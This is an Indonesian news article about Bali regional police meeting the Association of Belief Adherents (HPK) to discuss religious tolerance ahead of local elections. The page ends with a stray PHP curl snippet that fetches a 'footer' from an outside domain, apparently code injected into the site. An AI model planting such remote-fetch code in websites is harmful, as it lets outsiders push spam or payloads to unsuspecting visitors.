Silahturahmi Polda Bali Dengan Himpunan Penghayat Kepercayaan (HPK) Di Provinsi Bali

Sabtu, 24 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bali | jejakkasus.info – Pada hari Kamis, 22 Agustus 2024 bertempat di Renoma Cafe Denpasar Timur telah berlangsung Silahturahmi Polda Bali dengan Himpunan Penghayat Kepercayaan (HPK) Provinsi Bali. Dengan tema “Himpunan Penghayat Kepercayaan Menjaga Toleransi di Tengah Keberagaman”.

Hadir dalam kegiatan tersebut yaitu Kasubdit 3 Ditintelkam Polda Bali yang diwakili oleh Panit 5, Iptu Nyoman Yasa, S.H., Ketua DPD HPK Prov. Bali, Ir. Basilius Budi Dharma, Wakil Ketua HPK Prov. Bali, I Wayan Sudana.

Disampaikan bahwa Organisasi yang berada dalam naungan HPK Bali antara lain: HMS Bali, Pasraman Dharma Sidhi Sudha Pratama, Majelis Tumerah Mataram, Yayasan Sinar Murni, Rumah Nusantoro, Padepokan Gagak Karancang, Padepokan Mas, Paguyuban Indra Buana, Yayasan Dharma Gupta, The Art Of Living Bali, Padepokan Rare Anggon, Wanita Suputri Indonesia, Mentari Anggara Kasih, Paguyuban Sekeha Santi Sekarmas dan yang terakhir yaitu Sanggar Bina Sakti

Pada kesempatan pertama Kasubdit 3 Ditintelkam yang dalam hal ini diwakili oleh Panit 5 Subdit 4 IPTU Nyoman Yasa, S.H, menyampaikan bahwa kegiatan silahturahmi ini merupakan suatu langkah Polda Bali untuk menjalin kemitraan terhadap seluruh Organisasi Agama termasuk Penghayat Aliran Kepercayaan yang hadir dalam kegiatan hari ini mengingat HPK baru terbentuk tahun 2023. Indonesia dan Bali khususnya terdiri dari beragam agama, permasalahan intoleransi sangat riskan terjadi apabila menjelang pilkada isu agama maupun kepercayaan sangat mudah dimanfaatkan untuk politik identitas, apalagi isu yang digunakan mayoritas dan minoritas.

Baca Juga:  Polres Bangli Amankan Field Trip Delegasi KTT WWF Ke-10

Di Bali pernah terjadi situasi memanas, yaitu saat penolakan Aliran Kepercayaan yang dianggap tidak sepaham dengan kearifan lokal oleh masyarakat. Namun kami yakin dengan adanya HPK yang berbasis kebudayaan yang mempraktekan kepercayaan-kepercayaan berdasarkan kearifan lokal daerah dan telah diakui pemerintah berdasarkan UUD 1945 pasal 28 E ayat (2) dan Pasal 29 ayat (2) dan telah diakui dalam Undang-Undang Adminduk yaitu UU No. 23 Tahun 2006 dan UU No. 24 Tahun 2013, sehingga mudah-mudahan tidak akan bertentangan dengan penganut agama lainnya, namun kedepannya agar terus dijaga kehidupan beragama dan kepercayaan berjalan selaras.

Sebagai gambaran bahwa permasalahan intoleransi terjadi karena adanya isu pemicu, antara lain isu moral, isu komunal, isu sektetarian dan isu politik kepercayaan. Dari 4 isu pemicu permasalahan intoleransi tersebut, konflik terjadi karena banyak hal sehingga dalam kehidupan kita harus berhati-hati dalam bersikap.

Banyak proses terjadinya permasalahan intoleransi yaitu adanya 4 isu pemicu dimanfaatkan oleh Orang/Kelompok yang memiliki sifat ekslusif yaitu memandang prinsip, keyakinan, pandangan diri sendiri benar sedangkan orang lain salah, sesat dan harus dijauhi. Setelah itu mulailah muncul hujatan, kecaman bahkan aksi nyata penolakan terhadap suatu paham. Oleh karena itu kami mengajak seluruh Pengurus HPK dan organisasi yang hadir mulai diri sendiri dan mengajak sesama umat untuk mengembangkan sikap Inklusif yaitu sikap yang terbuka terhadap kepercayaan, agama, tradisi dan kebudayaan serta pemahaman bahwa semua agama dan kepercayaan itu benar. Kedua menanamkan wawasan kebangsaan bahwa mengutamakan persatuan Bangsa tanpa menonjolkan egoisme sendiri dan yang paling penting menguatkan jati diri dilandasi 4 pilar Kebangsaan, Pancasila, UUD, Bhineka Tungga Ika dan NKRI. Hal ketiga yang harus selalu diingat yaitu menggemakan sikap toleransi dalam menghormati perbedaan, memberikan kebebasan orang lain untuk berkeyakinan, menolak segala tindakan seorang/kelompok mengunakan kekerasan dan penerimaan terhadap tradisi maupun mendukung tradisi budaya lokal sejauh tidak bertentangan dengan pokok kepercayaan.

Baca Juga:  Kapolri Targetkan 100 Ribu Buruh Di Solo Raya Menerima Vaksin

Pada pertemuan ini Ketua DPD HPK Prov. Bali, Ir. Basilius Budi Dharma memberikan penjelasan sedikit tentang Organisasi tersebut, bahwa Perhimpunan Penghayat Kepercayaan digagas sejak lama dan pada tahun 2023 terbentuk di Bali sebagai organisasi tunggal yang mengayomi banyak organisasi penghayat kepercayaan. Putusan Mahkamah Konstitusi membuat kami bergerak kembali karena di kolom KTP sudah dicantumkan Kepercayaan. Yang menjadi permasalahan saat ini HPK dibina oleh Dinas Kebudayaan, namun kami harapkan dapat masuk di bawah Departemen Agama. HPK anggotanya berasal dari Perorangan dan Kelompok yang menaungi organisasi berbasis Adat, Kebudayaan dan Kepercayaan, sehingga kami disebut Himpunan.

HPK ditunjuk Pemerintah untuk mewakili banyaknya aliran kepercayaan dengan tujuan untuk memperjuangkan nilai-nilai Ketuhanan dengan visi membangun manusia yang berbudi luhur dan misi mempertahankan jati diri budaya leluhur. Mari kita bersama-sama menjadi tuan rumah di Negara ini.

Penyampaian dari Aryo Sudiatmiko, Majeles Taklim Tumrah Mataram, yang menyampaikan bahwa di medsos sangat banyak pemicu perpecahan, kalau tidak memahami jati diri sebagai bangsa dan negara maka akan terjadi permasalahan. Kami sangat bangga kalau di Indonesia Aliran Kepercayaan sebagai Agama ke-7, namun itu akan tercapai dalam proses yang panjang. Made Dwija Wijaya, dari Bina Sakti pun menyampaikan untuk menjaga Kamtibmas kedepannya, kegiatan keagamaan dan adat sering terjadi permasalahan finansial, sehingga perlu dilakukan pengawasan dari instansi terkait terhadap kegiatan keagamaan dan adat.

Baca Juga:  Ciptakan Situasi Kondusif Satgas Operasi Ketupat Agung 2024 Adakan Patroli Khususnya Rumah Kosong

Penyampaian dari I Wayan Darmadi, dari Bina Sakti, yaitu kita di Bali tidak sedang baik-baik saja, ada permasalahan dengan sampradaya sebenarnya Bali sangat terbuka dengan aliran kepercayaan, selama tidak bertentangan dengan budaya lokal. HPK saat ini belum dikenal oleh banyak masyarakat, sehingga opini yang beredar HPK sama dengan aliran kepercayaan yang merongrong kebudayaan lokal, padahal sebenarnya tidak. Tugas kedepannya HPK harus lebih aktif untuk melaksanakan audiensi dengan stakeholder terkait.

Pada penghujung acara Iptu Nyoman Yasa, S.H, selaku Panit 5 Subdit 3 Ditintelkam Polda Bali menyampaikan harapannya bahwa sinergi Polda Bali dengan Organisasi Penghayat Kepercayaan harus tetap terjaga dan mengajak semua organisasi untuk mengedukasikan toleransi kepada masyarakat dan menghimbau untuk sama-sama melakukan langkah pencegahan sedini mungkin potensi konflik intoleransi di internal maupun eksternal organisasi Penghayat Kepercayaan. Dan menerangkan bahwa di Bali dalam waktu dekat akan banyak berlangsung event-event besar dan juga pelaksanaan Pilkada, sehingga kami berharap seluruh Organisasi Penghayat Kepercayaan mendukung situasi kamtibmas yang kondusif.

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029
Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar
Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terkait

Sabtu, 21 September 2024 - 00:03 WIB

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029

Sabtu, 21 September 2024 - 00:00 WIB

Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>